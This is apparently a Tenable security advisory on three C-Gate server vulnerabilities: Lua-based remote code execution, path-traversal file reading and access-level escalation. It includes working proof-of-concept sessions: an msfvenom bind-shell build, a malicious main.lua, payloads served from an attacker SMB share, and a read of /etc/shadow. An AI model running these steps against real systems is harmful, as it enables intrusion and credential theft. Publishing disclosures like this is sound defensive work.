

# Schneider Electric C-Gate Multiple Vulnerabilities

High

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## Synopsis

Tenable found multiple vulnerabilities in the C-Gate 2.11.6.

### 1) CVE-2021-22796 – Authenticated main.lua File Upload RCE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The following demonstrates how an authenticated user with C-Gate Admin access level can upload a malicious executable file to the C-Gate Windows host and run the executable as Network Service. For C-Gate versions prior to 2.11.6 (comes with CBusToolkit 1.15.8), the uploaded executable is run as SYSTEM.

The C-Gate server implements a LUA RUN command:

```
help LUA
101-Help: LUA commands:
101-Help:  LUA ? Help for these commands
101 Help:  LUA RUN - Run main.lua
```

The command runs the main.lua file located in the lua sub directory in the current directory:

```
(hr = new hr()).a = new ht("lua", "main.lua");
```

The attacker can perform the following steps to achieve RCE: Create a malicious exe (i.e., tcp\_bind\_shell.exe):

```
msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f exe -o /tmp/tcp_bind_shell.exe
```

Create main.lua:

```
echo -ne 'os.execute("lua\\\\\\tcp_bind_shell.exe")' > /tmp/main.lua
```

Setup an SMB server on attacker's host to serve tcp\_bind\_shell.exe and main.lua:

```
smbserver.py myshare /tmp
```

Login with a user that has Admin access level:

```
nc 20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN admin aaa
211 Access level set to: Admin
```

Escalate to Max access level so that FILE commands can be run:

```
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
```

Create the lua directory in the current directory (Default: C:\Clipsal\C-Gate2):

```
FILE MKDIR lua
200 OK.
```

Set project archive directory to lua so that the attacker-controlled files are dropped to this directory:

```
CONFIG GET project.default.archive-dir
303 project.default.archive-dir=tag/archived
CONFIG SET project.default.archive-dir lua
200 OK.
```

Upload a malicious exe (i.e., tcp\_bind\_shell.exe) to the lua directory:

```
PROJECT RESTORE exe \\\\myshare\tcp_bind_shell.exe
200 OK.
PROJECT ARCHIVE exe tcp_bind_shell.exe
200 OK.
```

Upload attacker-controlled main.lua, which contains single line: os.execute("lua\\\\\\tcp\_bind\_shell.exe"):

```
PROJECT RESTORE lua \\\\myshare\main.lua
200 OK.
PROJECT ARCHIVE lua main.lua
200 OK.
```



An authenticated attacker with C-Gate Admin access level can read sensitive files using the PROJECT RESTORE and FILE DOWNLOAD commands. The following shows the attacker is able to download /etc/shadow on a Linux system on which the C-Gate server is running as root.

```
nc 20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN admin aaa
211 Access level set to: Admin
```

```
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
```

```
PROJECT RESTORE shadow ../../../../../../../../../../../../../../etc/shadow
200 OK.
```

```
CONFIG GET project.default.dir
303 project.default.dir=tag/
```

```
FILE LS tag
304-directory="/work/schneider/cgate/unpacked/cgate/tag" files=3
305-name="EXAMPLE.xml" size=77744 modified=Tue Jul 05 21:21:38 UTC 2016
305-name="HOME.xml" size=13671 modified=Tue Jul 05 21:21:38 UTC 2016
305 name="SHADOW.xml" size=1116 modified=Sat May 25 05:23:20 UTC 2021
```

```

FILE DOWNLOAD tag/SHADOW.xml
345- Start file download for file: tag/SHADOW.xml
347- cm9ydoKnlQ40TbttYU5aSR3ZM3NRhWlsUHR8WnHjEXRtQmZLZTF3VnfrAgRhmGj1qSGVgBUPrCmV0
347- VDR6gm9pa2kZan8V0mJctckdsYkRoEhWmUf0MTwZhzELjZvd68MnmJdw1JLzox0cDxm0wJk5
347- 0TK70t0S0j360jKZf1Bm9u01oMT6cNDEmD60S0T50T360jcmCmbJpqJoqJ3E0TQjA60T5K0Jn6
347- Nzo60gpeZgeXMK6joxNzKMTowJk50T50T360j0c3lUvXzoqJ3E0TQjA60T5K0Jn6z060gnp
347- VY1LzJoZq0TQjA60T5K0Jn6Z060gptY4M6KjoxNzKMTowJk50T50T360j0cXhAEKJJo
347- NzkNzMTowJk50T50T360jcmPbbQoJ3E0TQjA60T5K0Jn6Z060gZkD0i0MT6cNDE6
347- NDE0T50T50T360cnVY3AG6joxNzKMTowJk50T50T360j0cXhVEK6joxNzKMTowJk5
347- 0TK50T50T360jd3dLWRhDEG6KjoxNzKMTowJk50T50T360j0cYmfJaz3v0u1oMT6cNDEmD60S
347- 0TK70T50T360jcmQ3K6QjoxNzKMTowJk50T50T360j0cXaJ3JioMT6M60S0TK50T3
347- 0J60cMduYvXr20i0MT6cNDEmD60S0T50T360jcm5Ym9keT3Q7QjA60T5K0Jn6Z60
347- 0gpeXN8ZWLkLW51dHdvcm6KjoxNzKMTowJk50T50T360j0c3lZd0vGTzCXNzhWZ1Y0v
347- MT6cNDEmD60S0T50T360jcm5Xz2vzoqJ3E0TQjA60T5K0Jn6Z060gZkD0i0MT6cNDE6
347- 0i0MT6cNDEmD60S0T50T360jcm19hC6QjoxNzKMTowJk50T50T360j0cKhHh0i0MT6c5
347- NDEmD60S0T50T360jcm1aWkR0i0MT6cNDEmD60S0T50T360jcm6NrUC236J6KJJoZ60
347- MT6cNDEmD60S0T50T360j0c6HfUzHjYXBl0i0MT6cNDEmD60S0T50T360jcm6NbhXpfbm8ZTQ
347- j3E0TQjA60T5K0Jn6Z060gpc2zh0i0MT6cNDEmD60S0T50T360jcm6NzX1z0iQ2JD0
347- M2dWtUzhXbR1V2kzNUMJLZ80ZGvC2pVndmM1JLlySQwzhUddIXfLM15BQzKdUlm085U89C
347- L15u9c9H2Y1z5jUw1dmiWmLTKRNWZ2pNFRG1vNz0wVFJ3XBG0HFQhTAgEMt2ghJ60T50T3
347- 0TK70t0S0jcnNybJk0i0MT6cNDEmD60S0T50T360jcm6Nvg9yZD0QjE4NjY40jA60T5K0Jn6
347- Nzo60gBa2VzKZU6TioX0DY20DowJk50T50T360j0c
346 End file download

```

### 3) Access Level Escalation - CVE-2021-22784

A user with C-Gate Admin access level can add a user with a higher level and then logs in as that user to gain a higher access level. This allows an authenticated attacker to run more privileged commands that are not allowed at the Admin level.

- None - no access at all. Use this to refuse connections.
- Connect - allow a connection to be established (to the command interface only) and execute the LOGIN command or the license challenge & response commands.
- Monitor - allow monitoring and query of the status of objects and C-Bus, but do not allow any changes
- Operate - allow set, on, off, ramp operations - allow changes to be made to the system
- Admin - allow C-Gate shutdown and administration functions
- Program - allow C-Bus networks to be programmed
- Debug - allow debugging functions to be performed

```
private static String[] m = new String[] { "None", "Connect", "Monitor", "Operate", "Admin", "Program", "Debug", "Clipsal", "Max" };
```

The following shows a scenario of access level escalation:



```
nc 20023
201 Service ready: Clipsal C-Gate Version: v2.11.6 (build 3271) #cmd-syntax=1.0
LOGIN
210 Access level: Connect
FILE
420 Access denied.
LOGIN admin aaa
211 Access level set to: Admin
FILE
420 Access denied.
ACCESS ADD user attacker aaa Max
200 OK.
LOGIN attacker aaa
211 Access level set to: Max
FILE
101-Help: FILE commands:
101-Help: FILE ? Help for these commands
101-Help: FILE DELETE - Remove a file or directory from the server
101-Help: FILE DIR - Return a list of directory contents for the given directory
101-Help: FILE DOWNLOAD - Download a copy of a file as a base-64 encoded chunk of data
101-Help: FILE LS - Return a list of directory contents for the given directory
101-Help: FILE MD5 - Calculate an MD5 hash of a local filename on the server
101-Help: FILE MKDIR - Return a list of directory contents for the given directory
101-Help: FILE UPLOAD - Upload a file to the server as a base-64 encoded chunk of data
```

## Solution

Upgrade C-BUS toolkit to version 1.15.10.

## Disclosure Timeline

05/25/2021 - Vulnerabilities discovered  
6/29/2021 - Vendor informed  
6/30/2021 - Vendor responded, they believe all issues already patched in current version.  
6/30/2021 - We examine latest version, 2 out of the 3 issues are still present. We inform vendor.  
7/19/2021 - Vendor informs that they are still researching issues.  
7/23/2021 - Vendor confirms vulnerabilities. Target fix date is September 14th.  
7/29/2021 - Tenable provides acknowledgement text.  
9/14/2021 - Schneider Releases Patch  
11/16/2021 - Tenable releases advisory

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## Risk Information

**CVE ID:** [CVE-2021-22796](#)

[CVE-2021-22720](#)

[CVE-2021-22784](#)

**Tenable Advisory ID:** TRA-2021-50

**CVSSv3 Base / Temporal Score:** 8.8/5.9

**CVSSv3 Vector:** AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**Affected Products:** C-Bus Toolkit V1.15.9 and prior  
C-Gate Server 2.11.7 and prior

**Risk Factor:** High

## Advisory Timeline

11/16/2021 - Advisory Published

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Tenable.io Web App Scanning

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